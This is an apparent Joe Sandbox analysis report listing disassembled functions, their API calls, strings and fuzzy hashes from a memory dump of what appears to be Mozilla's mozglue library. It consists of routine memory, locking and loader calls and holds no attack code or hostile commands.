Instruction ID: fa7118605a4aed893cf2366811da8a73fdc998593189095b8686ab51f9d3c85a
Opcode Fuzzy Hash: 9f7a4a3ce917da870a8a466a07243565147f785b16dfff50a863970ff094b4c3
Instruction Fuzzy Hash: E32125B2E002955FCB089E78DC848AFB7BAFB853243254338E525D7784EB30AD1186D1

Function 6CB2B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2B4F5
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB2B502
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB2B542
free.MOZGLUE(?), ref: 6CB2B578

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: a2806f713912e75bfee2c33814ac614151288fe4f81271f24521b8b2bd3c1235
Instruction ID: 1e57b86983088e613d49d0c42770778f98580b924a1a57fd327b406514a356bd
Opcode Fuzzy Hash: a2806f713912e75bfee2c33814ac614151288fe4f81271f24521b8b2bd3c1235
Instruction Fuzzy Hash: 8211DF31A04B81C7D3228F29C500766B3B5FFD7329F10971AE84A57B01EBB8B9D48792

Function 6CB53DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CB1F20E,?), ref: 6CB53DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CB1F20E,00000000,?), ref: 6CB53DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB53E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB53E0E

Part of subcall function 6CB4CC00: GetCurrentProcess.KERNEL32(?,?,6CB131A7), ref: 6CB4CC0D
Part of subcall function 6CB4CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CB131A7), ref: 6CB4CC16

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0095f8a355df475c01aeb0038d50f8c47f9e2cc200a24e3a78cc534a6e87d848
Instruction ID: 9d2213acfe7d964c3c78c0f418aa2ba553065fbd337db65dc9e0ec417cc49387
Opcode Fuzzy Hash: 0095f8a355df475c01aeb0038d50f8c47f9e2cc200a24e3a78cc534a6e87d848
Instruction Fuzzy Hash: 46F01CB1A002087BDB01AF95DC81DAF376DEB47A28F144020FE0957741D635BE2996F7

Function 6CB620B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB620B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CB4FBD1), ref: 6CB620C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CB4FBD1), ref: 6CB620DA
free.MOZGLUE(00000000,?,6CB4FBD1), ref: 6CB620F1

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: bd98080df37631b2e6da8a5afff92855899f55504e1745a32d016ddbe5ee31d7
Instruction ID: d00a971b5ce266684304b6770a829763b14d9873caf44ac14b6ebc0da3e9b6e7
Opcode Fuzzy Hash: bd98080df37631b2e6da8a5afff92855899f55504e1745a32d016ddbe5ee31d7
Instruction Fuzzy Hash: D2E0E531600A248BC2309F26D80854EBBFDEF87314B10062AE48AC3F00DB75A94A86D6

Function 6CB685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB685D3

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB68725

Strings

map/set<T> too long, xrefs: 6CB68720

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 1822da07030e4b2fefab2087a68be11ea11b78f015e8e94bb00231770b4c1410
Instruction ID: b37a669c44468a99b8affffe3739ebe2589c7f5c8c75aa2594c23ab928d8e05b
Opcode Fuzzy Hash: 1822da07030e4b2fefab2087a68be11ea11b78f015e8e94bb00231770b4c1410
Instruction Fuzzy Hash: F85166746006818FD701CF19C084A69FBF1FF5A318F18C19AD8595BB52C376E885CF92

Function 6CB1BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CB1BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB1BE8F

Strings

0, xrefs: 6CB1BE5B

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 43fea0b975945d0c549ef8495e641bd40da3dfbff22b43169c2f6f376036ec85
Instruction ID: 77bb9b6bd1acf46376456a2e15967a46efc14a7753aecffc3eac07a80c338a82
Opcode Fuzzy Hash: 43fea0b975945d0c549ef8495e641bd40da3dfbff22b43169c2f6f376036ec85
Instruction Fuzzy Hash: 83416EB290D785CFC701CF39C48199BB7E4EF8A358F008A1DF98597B51D73099598B82

Function 6CB53CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB53D19
mozalloc_abort.MOZGLUE(?), ref: 6CB53D6C

Strings

d, xrefs: 6CB53D58

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 6adaf7e78e681ecac60f7ec5e6deb2d394b09f0d326bf47de56a12ab316301b9
Instruction ID: e64d6fe01f44aad70b2f5144611fda9831b66b6ab29cd90de90fb0007646e88d
Opcode Fuzzy Hash: 6adaf7e78e681ecac60f7ec5e6deb2d394b09f0d326bf47de56a12ab316301b9
Instruction Fuzzy Hash: 17110131E046D9DBDB018F69D8144EEB775EF87218B848219EC459B782FB30A5D4C790

Function 6CB24730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB244B2,6CB9E21C,6CB9F7F8), ref: 6CB2473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB2474A

Strings

GetNtLoaderAPI, xrefs: 6CB24744

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: a6bcabd619150c1175601b2f7b15859f02730566348384a076d001a268ed04bf
Instruction ID: 8a6fc9c1c95d910711523a932401361ba06ddd1fa6bf182b335616e9b580dd79
Opcode Fuzzy Hash: a6bcabd619150c1175601b2f7b15859f02730566348384a076d001a268ed04bf
Instruction Fuzzy Hash: 52019E75300298DFDF009FA6D99862D7BBDFB8B321B040469E90AC7710CB74D8018FA2

Function 6CB76DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB76E22
__Init_thread_footer.LIBCMT ref: 6CB76E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB76E1D

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: dfc92b0f4a58e5cefb38607af12164b2452ffbd9e8c5b765dd5bcef66411d0b8
Instruction ID: 9735f661c13d686fc60d409fd9fe09d7b1d8812319a28f84f7cef784c67da8af
Opcode Fuzzy Hash: dfc92b0f4a58e5cefb38607af12164b2452ffbd9e8c5b765dd5bcef66411d0b8
Instruction Fuzzy Hash: ADF0E976A093C0CBDE109F68CA50A957772D713238F240175EC6547B91D761A506DFB3

Function 6CB29E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB29EEF

Strings

Infinity, xrefs: 6CB29EB7
NaN, xrefs: 6CB29EC1

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: e4dfd621482d8784913a008a367e84d162fd49e1c9f936b553c97a9f9474d6b5
Instruction ID: 80c08de3e5fdccdee7ceedf5ac6416471c1416d1f700ff0dc7c5915b4bd7b79b
Opcode Fuzzy Hash: e4dfd621482d8784913a008a367e84d162fd49e1c9f936b553c97a9f9474d6b5
Instruction Fuzzy Hash: 9FF0AF70B052D1CBEB009F58DA457A43371BB0733CF208A68E5080BBA0D375654ACAC2

Function 6CB2BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CB2BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CB2BEF5

Strings

cryptbase.dll, xrefs: 6CB2BEF0

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: a11822529ca1e5cf951b33637a2b0df8af9c76cdb8475d3cc2b675fd0ab8cf42
Instruction ID: 718ad67da9e0af7ba70cd25a13b70b2a20e7f349dca4bde2fa202c7e5503cde8
Opcode Fuzzy Hash: a11822529ca1e5cf951b33637a2b0df8af9c76cdb8475d3cc2b675fd0ab8cf42
Instruction Fuzzy Hash: 7FD0A731180548E7C7107E608D05B25377C9703325F10C820F71A84851CBB09410CF40

Function 6CB150E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB14E9C,?,?,?,?,?), ref: 6CB1510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB14E9C,?,?,?,?,?), ref: 6CB15167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CB15196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB14E9C), ref: 6CB15234

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 53b3a0b0f1ba7a7271dd9b8a86ff94c04a4d66b406d166cab4c75d1704a92d56
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 4791E275909696CFCB15CF08C490A5ABBA1FF89318B28868CDC489BB15D331FC56CBE1

Function 6CB508F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB50918
LeaveCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB509A6
EnterCriticalSection.KERNEL32(6CB9E7DC,?,00000000), ref: 6CB509F3
LeaveCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB50ACB

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c43e7d5903147e1aa9df0b5e031f10308197792e4a16f09ac09b9ed73486c266
Instruction ID: 89cac66de861cb827bc29c8ed113b4f64fe331e10546668534e4ff6ad8d887c4
Opcode Fuzzy Hash: c43e7d5903147e1aa9df0b5e031f10308197792e4a16f09ac09b9ed73486c266
Instruction Fuzzy Hash: 95513836B065D0CBEB089E59E44062933A5FB83B38764413AD86597F84D730E85186D2

Function 6CB6B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB6B2C9,?,?,?,6CB6B127,?,?,?,?,?,?,?,?,?,6CB6AE52), ref: 6CB6B628

Part of subcall function 6CB690E0: free.MOZGLUE(?,00000000,?,?,6CB6DEDB), ref: 6CB690FF
Part of subcall function 6CB690E0: free.MOZGLUE(?,00000000,?,?,6CB6DEDB), ref: 6CB69108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB6B2C9,?,?,?,6CB6B127,?,?,?,?,?,?,?,?,?,6CB6AE52), ref: 6CB6B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB6B2C9,?,?,?,6CB6B127,?,?,?,?,?,?,?,?,?,6CB6AE52), ref: 6CB6B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB6B127,?,?,?,?,?,?,?,?), ref: 6CB6B74D

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2236fd4363a5b65ba462a974f7b1b357da5dfca6de85dc144b5c55adf21f1f0d
Instruction ID: 8320bf7d0bd1019966fb7634c39ea5dd8b77163a4895395b0eb894a7ae79aa81
Opcode Fuzzy Hash: 2236fd4363a5b65ba462a974f7b1b357da5dfca6de85dc144b5c55adf21f1f0d
Instruction Fuzzy Hash: 1251F1B1A053568FDB14CF1AC98476EF7B5FF45304F45852DE85AABB10DB31A804CBA1

Function 6CB6DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB5FF2A), ref: 6CB6DFFD

Part of subcall function 6CB690E0: free.MOZGLUE(?,00000000,?,?,6CB6DEDB), ref: 6CB690FF
Part of subcall function 6CB690E0: free.MOZGLUE(?,00000000,?,?,6CB6DEDB), ref: 6CB69108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB5FF2A), ref: 6CB6E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB5FF2A), ref: 6CB6E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB5FF2A), ref: 6CB6E0FE

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fa07c17fa4b1de4809e33b7a940aebe3b322905512a24067f57979656ad4ab22
Instruction ID: 49f8643496ea70f4ffc62e20b19a52f80578f2f7b673afedea7665b5a7ad08a6
Opcode Fuzzy Hash: fa07c17fa4b1de4809e33b7a940aebe3b322905512a24067f57979656ad4ab22
Instruction Fuzzy Hash: 9D41C1B16042868FEB14CF69CC8175E73BAEB46308F154939D556DBF40E732E905CB92

Function 6CB66E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB66EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB66EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB66F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB66F5C

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 9ba42650f4416cd898a9c612201df6e056f357bbeaba24716df66a795ee13132
Instruction ID: 598b352d2bfb3d9b7a7c30bf7ddb5820e055bd4f686d550c19a727dfc700875a
Opcode Fuzzy Hash: 9ba42650f4416cd898a9c612201df6e056f357bbeaba24716df66a795ee13132
Instruction Fuzzy Hash: 7531F471A1060A8FDB04CF2DD9806AE73E9EB95304F50863DD41AC7A51EF32E659C7A1

Function 6CB7B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CB20A4D), ref: 6CB7B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CB20A4D), ref: 6CB7B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB20A4D), ref: 6CB7B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CB20A4D), ref: 6CB7B67F

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4fbeb2f92cf45179514021e9d87d9108391a95911ad1d304769a6fec4b4b822f
Instruction ID: 9010a55664a8d71a3c1b9e31502e7608528b4e20e939c14c8c82dffa614019d7
Opcode Fuzzy Hash: 4fbeb2f92cf45179514021e9d87d9108391a95911ad1d304769a6fec4b4b822f
Instruction Fuzzy Hash: 8E31D471A012168FDB20CF58C84465AFBBAFF81304F168569CD2A9B201EB31E915CFA1

Function 6CB4F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB4F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB4F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4F668

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f990bd11d96a64386383b3ccebbcfad5f3e434589979ce14d4a0ef47e0baa26e
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 23313EB1A04254AFC714DF5DCCC0A9F77B5EB84354B14C539EA498BB08D631ED458B90

Function 6CB626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB626C1
free.MOZGLUE(?), ref: 6CB626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB626FF
free.MOZGLUE ref: 6CB6270D

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

